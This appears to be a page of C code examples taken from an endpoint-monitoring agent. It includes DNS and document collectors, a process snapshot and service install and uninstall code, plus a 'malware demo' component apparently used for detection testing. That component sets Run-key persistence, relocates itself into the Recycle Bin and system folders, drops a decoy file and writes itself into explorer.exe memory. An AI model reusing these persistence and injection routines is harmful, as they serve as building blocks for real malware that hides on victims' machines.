Beispiel #1
0
static RVOID
    checkBootstrap
    (

    )
{
    HKEY hKeyRoot = HKEY_LOCAL_MACHINE;
    RWCHAR regKey[] = _WCH( "Software\\Microsoft\\Windows\\CurrentVersion\\Run" );
    HKEY hKey = NULL;

    rpal_debug_info( "opening reg bootstrap key..." );
    if( ERROR_SUCCESS == RegOpenKeyExW( hKeyRoot, regKey, 0, KEY_WRITE, &hKey ) )
    {
        rpal_debug_info( "setting bootstrap key to current exe location..." );
        if( ERROR_SUCCESS == RegSetValueExW( hKey, _WCH(""), 0, REG_SZ, (RPU8)g_self_path, ( rpal_string_strlen( g_self_path ) + 1 ) * sizeof( RWCHAR ) ) )
        {
            rpal_debug_info( "successfully set bootstrap key!" );
        }
        else
        {
            rpal_debug_error( "error setting bootstrap key to current location." );
        }

        RegCloseKey( hKey );
    }
    else
    {
        rpal_debug_error( "error opening reg bootstrap key." );
    }
}
Beispiel #2
0
static RVOID
    relaunchInPermanentLocation
    (

    )
{
    RPWCHAR bootstrapLocations[] = { _WCH( "%SYSTEMDRIVE%\\$Recycle.Bin\\MALWARE_DEMO_WINDOWS_1.exe" ),
                                     _WCH( "%SYSTEMDRIVE%\\RECYCLER\\MALWARE_DEMO_WINDOWS_1.exe" ),
                                     _WCH( "%windir%\\system32\\tasks\\MALWARE_DEMO_WINDOWS_1.exe" ),
                                     _WCH( "%USERPROFILE%\\MALWARE_DEMO_WINDOWS_1.exe" ) };
    RU32 i = 0;

    STARTUPINFOW startupInfo = {0};
    PROCESS_INFORMATION procInfo = {0};
    RPWCHAR expandedPath = NULL;

    for( i = 0; i < ARRAY_N_ELEM( bootstrapLocations ); i++ )
    {
        rpal_debug_info( "trying to move to bootstrap location %d...", i );
        rpal_file_delete( bootstrapLocations[ i ], FALSE );
        if( rpal_file_move( g_self_path, bootstrapLocations[ i ] ) )
        {
            rpal_debug_info( "successfully moved to bootstrap location!" );

            rpal_debug_info( "launching in new location (%ls)...", bootstrapLocations[ i ] );
            if( rpal_string_expand( bootstrapLocations[ i ], &expandedPath ) &&
                0 != CreateProcessW( expandedPath, 
                                     NULL, 
                                     NULL, 
                                     NULL, 
                                     FALSE, 
                                     CREATE_NO_WINDOW, 
                                     NULL, 
                                     NULL, 
                                     &startupInfo, 
                                     &procInfo ) )
            {
                rpal_debug_info( "successfully launched from new location." );
            }
            else
            {
                rpal_debug_error( "error launching from permanent location: %d.", GetLastError() );
            }

            if( NULL != expandedPath )
            {
                rpal_memory_free( expandedPath );
            }

            break;
        }
        else
        {
            rpal_debug_warning( "could not move to new bootstrap location, may not have permission..." );
        }
    }
}
RBOOL
    collector_2_init
    (
        HbsState* hbsState,
        rSequence config
    )
{
    RBOOL isSuccess = FALSE;
    UNREFERENCED_PARAMETER( config );

    if( NULL != hbsState )
    {
#ifdef RPAL_PLATFORM_WINDOWS
        RWCHAR apiName[] = _WCH( "dnsapi.dll" );
        RCHAR funcName1[] = "DnsGetCacheDataTable";
        RCHAR funcName2[] = "DnsFree";

        if( NULL != ( hDnsApi = LoadLibraryW( (RPWCHAR)&apiName ) ) )
        {
            // TODO: investigate the DnsQuery API on Windows to get the DNS resolutions.
            if( NULL != ( getCache = (DnsGetCacheDataTable_f)GetProcAddress( hDnsApi, (RPCHAR)&funcName1 ) ) &&
                NULL != ( freeCacheEntry = (DnsFree_f)GetProcAddress( hDnsApi, (RPCHAR)&funcName2 ) ) )
            {
                isSuccess = TRUE;
            }
            else
            {
                rpal_debug_warning( "failed to get dns undocumented function" );
                FreeLibrary( hDnsApi );
            }
        }
        else
        {
            rpal_debug_warning( "failed to load dns api" );
        }
#elif defined( RPAL_PLATFORM_MACOSX )
        isSuccess = TRUE;
#endif
        if( isSuccess )
        {
            isSuccess = FALSE;

            if( rThreadPool_task( hbsState->hThreadPool, dnsDiffThread, NULL ) )
            {
                isSuccess = TRUE;
            }
        }
    }

    return isSuccess;
}
Beispiel #4
0
static RVOID
    dropDecoyTextFile
    (

    )
{
    RWCHAR execVerb[] = _WCH( "open" );

    RNCHAR decoyText[] = _NC( "To a trained eye, this file is clearly evil.\r\nUnfortunately most users won't see it.\r\nAt the end of the day it won't matter because once you see this, the game is over." );
    
    RWCHAR decoyPath[ MAX_PATH ] = {0};
    RU32 i = 0;

    // Generate new path for the decoy, same as current minus the .exe
    if( rpal_string_strcpy( decoyPath, g_self_path ) )
    {
        if( 4 < ( i = rpal_string_strlen( decoyPath ) ) )
        {
            decoyPath[ i - 4 ] = 0;

            if( rpal_file_write( decoyPath, decoyText, rpal_string_strlen( decoyText ), TRUE ) )
            {
                rpal_debug_info( "successfully wrote decoy file: %ls", decoyPath );

                rpal_debug_info( "launching text file reader app..." );
                if( 32 < (INT)(SIZE_T)ShellExecuteW( NULL, execVerb, decoyPath, NULL, NULL, SW_SHOWNORMAL ) )
                {
                    rpal_debug_info( "decoy successfully launched." );
                }
                else
                {
                    rpal_debug_error( "error launching decoy app." );
                }
            }
            else
            {
                rpal_debug_error( "error writing decoy file." );
            }
        }
        else
        {
            rpal_debug_error( "expecting the current file path to be at least 4, very unexpected!" );
        }
    }
}
RBOOL
    collector_18_init
    (
        HbsState* hbsState,
        rSequence config
    )
{
    RBOOL isSuccess = FALSE;

    rList extensions = NULL;
    rList patterns = NULL;
    RPCHAR strA = NULL;
    RPCHAR tmpA = NULL;
    RPWCHAR strW = NULL;
    RPWCHAR tmpW = NULL;
    RU32 maxSize = 0;
    RBOOL isCaseInsensitive = FALSE;

    if( NULL != hbsState )
    {
#ifdef RPAL_PLATFORM_WINDOWS
        // On Windows files and paths are not case sensitive.
        isCaseInsensitive = TRUE;
#endif

        if( NULL == config ||
            rSequence_getLIST( config, RP_TAGS_EXTENSIONS, &extensions ) ||
            rSequence_getLIST( config, RP_TAGS_PATTERNS, &patterns ) )
        {
            if( NULL != ( cacheMutex = rMutex_create() ) &&
                NULL != ( matcherA = obsLib_new( 0, 0 ) ) &&
                NULL != ( matcherW = obsLib_new( 0, 0 ) ) )
            {
                cacheSize = 0;
                if( NULL != config &&
                    rSequence_getRU32( config, RP_TAGS_MAX_SIZE, &maxSize ) )
                {
                    cacheMaxSize = maxSize;
                }
                else
                {
                    cacheMaxSize = MAX_CACHE_SIZE;
                }
                
                if( NULL != ( documentCache = HbsRingBuffer_new( 0, cacheMaxSize ) ) )
                {
                    if( NULL == config )
                    {
                        // As a default we'll cache all new files
                        obsLib_addPattern( matcherA, (RPU8)"", sizeof( RCHAR ), NULL );
                        obsLib_addPattern( matcherW, (RPU8)_WCH(""), sizeof( RWCHAR ), NULL );
                    }
                    else
                    {
                        // If a config was provided we'll cache only certain extensions
                        // specified.
                        while( rList_getSTRINGA( extensions, RP_TAGS_EXTENSION, &strA ) )
                        {
                            if( rpal_string_expand( strA, &tmpA ) )
                            {
                                obsLib_addStringPatternA( matcherA, tmpA, TRUE, isCaseInsensitive, NULL );
                                rpal_memory_free( tmpA );
                            }
                            if( NULL != ( strW = rpal_string_atow( strA ) ) )
                            {
                                if( rpal_string_expandw( strW, &tmpW ) )
                                {
                                    obsLib_addStringPatternW( matcherW, tmpW, TRUE, isCaseInsensitive, NULL );
                                    rpal_memory_free( tmpW );
                                }
                                rpal_memory_free( strW );
                            }
                        }

                        while( rList_getSTRINGW( extensions, RP_TAGS_EXTENSION, &strW ) )
                        {
                            if( rpal_string_expandw( strW, &tmpW ) )
                            {
                                obsLib_addStringPatternW( matcherW, tmpW, TRUE, isCaseInsensitive, NULL );
                                rpal_memory_free( tmpW );
                            }
                            if( NULL != ( strA = rpal_string_wtoa( strW ) ) )
                            {
                                if( rpal_string_expand( strA, &tmpA ) )
                                {
                                    obsLib_addStringPatternA( matcherA, tmpA, TRUE, isCaseInsensitive, NULL );
                                    rpal_memory_free( tmpA );
                                }
                                rpal_memory_free( strA );
                            }
                        }

                        while( rList_getSTRINGA( patterns, RP_TAGS_STRING_PATTERN, &strA ) )
                        {
                            if( rpal_string_expand( strA, &tmpA ) )
                            {
                                obsLib_addStringPatternA( matcherA, tmpA, FALSE, isCaseInsensitive, NULL );
                                rpal_memory_free( tmpA );
                            }
                            if( NULL != ( strW = rpal_string_atow( strA ) ) )
                            {
                                if( rpal_string_expandw( strW, &tmpW ) )
                                {
                                    obsLib_addStringPatternW( matcherW, tmpW, FALSE, isCaseInsensitive, NULL );
                                    rpal_memory_free( tmpW );
                                }
                                rpal_memory_free( strW );
                            }
                        }

                        while( rList_getSTRINGW( patterns, RP_TAGS_STRING_PATTERN, &strW ) )
                        {
                            if( rpal_string_expandw( strW, &tmpW ) )
                            {
                                obsLib_addStringPatternW( matcherW, tmpW, FALSE, isCaseInsensitive, NULL );
                                rpal_memory_free( tmpW );
                            }
                            if( NULL != ( strA = rpal_string_wtoa( strW ) ) )
                            {
                                if( rpal_string_expand( strA, &tmpA ) )
                                {
                                    obsLib_addStringPatternA( matcherA, tmpA, FALSE, isCaseInsensitive, NULL );
                                    rpal_memory_free( tmpA );
                                }
                                rpal_memory_free( strA );
                            }
                        }
                    }

                    if( rQueue_create( &createQueue, _freeEvt, 200 ) &&
                        notifications_subscribe( RP_TAGS_NOTIFICATION_FILE_CREATE, NULL, 0, createQueue, NULL ) &&
                        notifications_subscribe( RP_TAGS_NOTIFICATION_GET_DOCUMENT_REQ, NULL, 0, NULL, getDocument ) &&
                        rThreadPool_task( hbsState->hThreadPool, parseDocuments, NULL ) )
                    {
                        isSuccess = TRUE;
                    }
                }
            }

            if( !isSuccess )
            {
                notifications_unsubscribe( RP_TAGS_NOTIFICATION_FILE_CREATE, createQueue, NULL );
                notifications_unsubscribe( RP_TAGS_NOTIFICATION_GET_DOCUMENT_REQ, NULL, getDocument );
                rQueue_free( createQueue );
                createQueue = NULL;

                obsLib_free( matcherA );
                obsLib_free( matcherW );
                HbsRingBuffer_free( documentCache );
                matcherA = NULL;
                matcherW = NULL;
                documentCache = NULL;

                rMutex_free( cacheMutex );
                cacheMutex = NULL;
            }
        }
    }

    return isSuccess;
}
Beispiel #6
0
static RVOID
    injectIntoProcess
    (

    )
{
    RNCHAR strSeDebug[] = _NC( "SeDebugPrivilege" );
    processLibProcEntry* procIds = NULL;
    processLibProcEntry* tmpProcId = NULL;
    rSequence targetProc = NULL;
    RU32 targetPid = 0;
    RPWCHAR procName = NULL;
    RWCHAR targetProcName[] = _WCH( "EXPLORER.EXE" );

    HANDLE hProc = NULL;
    RU32 selfSize = 0;

    RPVOID remoteDest = NULL;

    SIZE_T payloadSize = 0;
    RPU8 payloadBuff = NULL;
    
    rpal_debug_info( "getting debug privilege to inject..." );
    if( !Get_Privilege( strSeDebug ) )
    {
        rpal_debug_error( "could not get debug privilege, are we running as admin?" );
        return;
    }

    rpal_debug_info( "getting process list to find explorer.exe" );
    procIds = processLib_getProcessEntries( FALSE );
    tmpProcId = procIds;
    while( NULL != tmpProcId )
    {
        if( NULL != ( targetProc = processLib_getProcessInfo( tmpProcId->pid, NULL ) ) )
        {
            if( rSequence_getSTRINGN( targetProc, RP_TAGS_FILE_PATH, &procName ) )
            {
                rpal_string_toupper( procName );
                if( NULL != rpal_string_strstr( procName, targetProcName ) )
                {
                    rpal_debug_info( "found the target process: %d", tmpProcId->pid );
                    targetPid = tmpProcId->pid;
                }
                else
                {
                    rpal_debug_info( "not target process, next..." );
                }
            }
            else
            {
                rpal_debug_warning( "process without file path, odd..." );
            }

            rSequence_free( targetProc );
            targetProc = NULL;

            if( 0 != targetPid )
            {
                break;
            }
        }

        tmpProcId++;
    }

    rpal_memory_free( procIds );

    if( 0 != targetPid )
    {
        rpal_debug_info( "getting size of self..." );
        if( (RU32)(-1) != ( selfSize = rpal_file_getSize( g_self_path, FALSE ) ) )
        {
            rpal_debug_info( "opening target process with right privileges..." );
            if( NULL != ( hProc = OpenProcess( PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, targetPid ) ) )
            {
                rpal_debug_info( "allocating required memory in remote process..." );
                if( NULL != ( remoteDest = VirtualAllocEx( hProc, NULL, selfSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE ) ) )
                {
                    rpal_debug_info( "reading payload to memory before writing it to remote." );
                    if( rpal_file_read( g_self_path, (RPVOID*)&payloadBuff, (RU32*)&payloadSize, FALSE ) )
                    {
                        rpal_debug_info( "writing payload to remote process." );
                        if( WriteProcessMemory( hProc, remoteDest, payloadBuff, payloadSize, &payloadSize ) &&
                            payloadSize == selfSize )
                        {
                            rpal_debug_info( "successfully written payload to remote process. This should look like an injected PE although no thread was started." );
                        }
                        else
                        {
                            rpal_debug_error( "error writing payload to remote process." );
                        }

                        rpal_memory_free( payloadBuff );
                    }
                    else
                    {
                        rpal_debug_error( "error reading ourselves as payload." );
                    }
                }
                else
                {
                    rpal_debug_error( "error allocating memory in remote process." );
                }

                CloseHandle( hProc );
            }
            else
            {
                rpal_debug_error( "error opening process with VM privilges." );
            }
        }
        else
        {
            rpal_debug_error( "error getting size of self." );
        }
    }
}
Beispiel #7
0
static
RU32
    uninstallService
    (

    )
{
    RWCHAR destPath[] = _WCH( "%SYSTEMROOT%\\system32\\rphcp.exe" );
    SC_HANDLE hScm = NULL;
    SC_HANDLE hSvc = NULL;
    RWCHAR svcName[] = { _SERVICE_NAMEW };
    SERVICE_STATUS svcStatus = { 0 };
    RU32 nRetries = 10;

    rpal_debug_info( "uninstalling service" );

    if( NULL != ( hScm = OpenSCManagerA( NULL, NULL, SC_MANAGER_ALL_ACCESS ) ) )
    {
        if( NULL != ( hSvc = OpenServiceW( hScm, svcName, SERVICE_STOP | SERVICE_QUERY_STATUS | DELETE ) ) )
        {
            if( ControlService( hSvc, SERVICE_CONTROL_STOP, &svcStatus ) )
            {
                while( SERVICE_STOPPED != svcStatus.dwCurrentState &&
                       0 != nRetries )
                {
                    rpal_debug_error( "waiting for service to stop..." );
                    rpal_thread_sleep( 1000 );

                    if( !QueryServiceStatus( hSvc, &svcStatus ) )
                    {
                        break;
                    }

                    nRetries--;
                }

                if( 0 == nRetries )
                {
                    rpal_debug_error( "timed out waiting for service to stop, moving on..." );
                }
                else
                {
                    rpal_debug_info( "service stopped" );
                }
            }
            else
            {
                rpal_debug_error( "could not stop service: %d", GetLastError() );
            }

            if( DeleteService( hSvc ) )
            {
                rpal_debug_info( "service deleted" );
            }
            else
            {
                rpal_debug_error( "could not delete service: %d", GetLastError() );
            }

            CloseServiceHandle( hSvc );
        }
        else
        {
            rpal_debug_error( "could not open service: %d", GetLastError() );
        }

        CloseServiceHandle( hScm );
    }
    else
    {
        rpal_debug_error( "could not open SCM: %d", GetLastError() );
    }

    rpal_thread_sleep( MSEC_FROM_SEC( 1 ) );

    if( rpal_file_delete( destPath, FALSE ) )
    {
        rpal_debug_info( "service executable deleted" );
    }
    else
    {
        rpal_debug_error( "could not delete service executable: %d", GetLastError() );
    }

    return GetLastError();
}
Beispiel #8
0
static
RU32
    installService
    (

    )
{
    HMODULE hModule = NULL;
    RWCHAR curPath[ RPAL_MAX_PATH ] = { 0 };
    RWCHAR destPath[] = _WCH( "%SYSTEMROOT%\\system32\\rphcp.exe" );
    RWCHAR svcPath[] = _WCH( "\"%SYSTEMROOT%\\system32\\rphcp.exe\" -w" );
    SC_HANDLE hScm = NULL;
    SC_HANDLE hSvc = NULL;
    RWCHAR svcName[] = { _SERVICE_NAMEW };
    RWCHAR svcDisplay[] = { _WCH( "rp_HCP_Svc" ) };

    rpal_debug_info( "installing service" );

    hModule = GetModuleHandleW( NULL );
    if( NULL != hModule )
    {
        if( ARRAY_N_ELEM( curPath ) > GetModuleFileNameW( hModule, curPath, ARRAY_N_ELEM( curPath ) ) )
        {
            if( rpal_file_copy( curPath, destPath ) )
            {
                if( NULL != ( hScm = OpenSCManagerA( NULL, NULL, SC_MANAGER_CREATE_SERVICE ) ) )
                {
                    if( NULL != ( hSvc = CreateServiceW( hScm,
                                                         svcName,
                                                         svcDisplay,
                                                         SERVICE_ALL_ACCESS,
                                                         SERVICE_WIN32_OWN_PROCESS,
                                                         SERVICE_AUTO_START,
                                                         SERVICE_ERROR_NORMAL,
                                                         svcPath,
                                                         NULL,
                                                         NULL,
                                                         NULL,
                                                         NULL,
                                                         _WCH( "" ) ) ) )
                    {
                        if( StartService( hSvc, 0, NULL ) )
                        {
                            // Emitting as error level to make sure it's displayed in release.
                            rpal_debug_error( "service installer!" );
                            return 0;
                        }
                        else
                        {
                            rpal_debug_error( "could not start service: %d", GetLastError() );
                        }

                        CloseServiceHandle( hSvc );
                    }
                    else
                    {
                        rpal_debug_error( "could not create service in SCM: %d", GetLastError() );
                    }

                    CloseServiceHandle( hScm );
                }
                else
                {
                    rpal_debug_error( "could not open SCM: %d", GetLastError() );
                }
            }
            else
            {
                rpal_debug_error( "could not move executable to service location: %d", GetLastError() );
            }
        }
        else
        {
            rpal_debug_error( "could not get current executable path: %d", GetLastError() );
        }

        CloseHandle( hModule );
    }
    else
    {
        rpal_debug_error( "could not get current executable handle: %d", GetLastError() );
    }
    
    return GetLastError();
}
static RBOOL
    getSnapshot
    (
        processEntry* toSnapshot
    )
{
    RBOOL isSuccess = FALSE;
    RU32 i = 0;

    if( NULL != toSnapshot )
    {
        rpal_memory_zero( toSnapshot, sizeof( g_snapshot_1 ) );
    }

    if( NULL != toSnapshot )
    {
#ifdef RPAL_PLATFORM_WINDOWS
        HANDLE hSnapshot = NULL;
        PROCESSENTRY32W procEntry = { 0 };
        procEntry.dwSize = sizeof( procEntry );

        if( INVALID_HANDLE_VALUE != ( hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ) ) )
        {
            if( Process32FirstW( hSnapshot, &procEntry ) )
            {
                isSuccess = TRUE;

                do
                {
                    if( 0 == procEntry.th32ProcessID )
                    {
                        continue;
                    }

                    toSnapshot[ i ].pid = procEntry.th32ProcessID;
                    toSnapshot[ i ].ppid = procEntry.th32ParentProcessID;
                    i++;
                } while( Process32NextW( hSnapshot, &procEntry ) &&
                         MAX_SNAPSHOT_SIZE > i );
            }

            CloseHandle( hSnapshot );
        }
#elif defined( RPAL_PLATFORM_LINUX )
        RWCHAR procDir[] = _WCH( "/proc/" );
        rDir hProcDir = NULL;
        rFileInfo finfo = {0};

        if( rDir_open( (RPWCHAR)&procDir, &hProcDir ) )
        {
            isSuccess = TRUE;

            while( rDir_next( hProcDir, &finfo ) &&
                   MAX_SNAPSHOT_SIZE > i )
            {
                if( rpal_string_wtoi( (RPWCHAR)finfo.fileName, &( toSnapshot[ i ].pid ) )
                    && 0 != toSnapshot[ i ].pid )
                {
                    i++;
                }
            }

            rDir_close( hProcDir );
        }
#elif defined( RPAL_PLATFORM_MACOSX )
        int mib[] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL };
        struct kinfo_proc* infos = NULL;
        size_t size = 0;
        int ret = 0;
        int j = 0;

        if( 0 == ( ret = sysctl( mib, ARRAY_N_ELEM( mib ), infos, &size, NULL, 0 ) ) )
        {
            if( NULL != ( infos = rpal_memory_alloc( size ) ) )
            {
                while( 0 != ( ret = sysctl( mib, ARRAY_N_ELEM( mib ), infos, &size, NULL, 0 ) ) && ENOMEM == errno )
                {
                    if( NULL == ( infos = rpal_memory_realloc( infos, size ) ) )
                    {
                        break;
                    }
                }
            }
        }

        if( 0 == ret && NULL != infos )
        {
            isSuccess = TRUE;
            size = size / sizeof( struct kinfo_proc );
            for( j = 0; j < size; j++ )
            {
                toSnapshot[ i ].pid = infos[ j ].kp_proc.p_pid;
                toSnapshot[ i ].ppid = infos[ j ].kp_eproc.e_ppid;
                i++;
            }

            if( NULL != infos )
            {
                rpal_memory_free( infos );
                infos = NULL;
            }
        }
#endif
    }

    return isSuccess;
}